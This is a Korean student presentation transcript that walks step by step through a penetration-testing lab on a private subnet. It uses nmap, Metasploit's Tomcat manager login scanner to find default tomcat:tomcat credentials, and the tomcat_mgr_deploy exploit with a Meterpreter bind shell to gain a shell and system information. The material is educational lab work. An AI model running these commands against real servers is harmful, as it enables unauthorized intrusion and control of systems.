모의해킹 따라하기 웹 해킹 1534023 김 지수 2017.04.07.

Presentation on theme: "모의해킹 따라하기 웹 해킹 1534023 김 지수 2017.04.07."— Presentation transcript:

1 모의해킹 따라하기 웹 해킹 김 지수

2 [ Putty ] ① Ifconfig =>현재 나의 IP확인 ② nmap –sSV 192.168.111.0/24

3 [ :8180 ] ③ firefox & : 브라우저 실행 => IP주소 입력 홈페이지 접속 확인

4 [ Terminal ] ④ msfconsole => 메타스플로잇 연결
msf > search tomcat => 연결 포트 확인

5 [ Terminal ] ⑤ msf > use (톰캣 연결 구문 복사)
= use auxiliary/scanner/http/tomcat_mgr_login ⑥ set RHOSTS => 나의 IP ⑥ set RPORT 8180 => 8180

6 [ Terminal ] ⑦ exploit => 계정과 패스워드 확인

7 [ :8180 ] ⑧ 다시 브라우저 재 접속 Tomcat Manager 앞에서 확인했던 아이디 패스워드 입력 (tomcat : tomcat)

8 [ Terminal ] ⑨ search tomcat exploit/multi/http/tomcat_mgr_deploy 구문 복사

9 [ Terminal ] ⑩ use (복사 구문 =) exploit/multi/http/tomcat_mgr_deploy ⑪ set PASSWORD tomcat => 패스워드를 tomcat으로 설정 ⑫ set USERNAME tomcat => username tomcat으로 설정 ⑬ set RHOST => IP주소 재 설정 ⑭ set RPORT 8180 => 포트 번호 재 설정

10 [ Terminal ] ⑮ set payload java/meterpreter/bind_tcp ⑯ exploit

11 [ Terminal ] ⑰ shell ⑱ ls ⑲ exit

12 [ Terminal ] ⑰ shell ⑱ ls =>목록 확인 ⑲ exit

13 [ Terminal ] ⑳ meterpreter > sysinfo =>상대방의 정보를 획득 확인

14 감사합니다.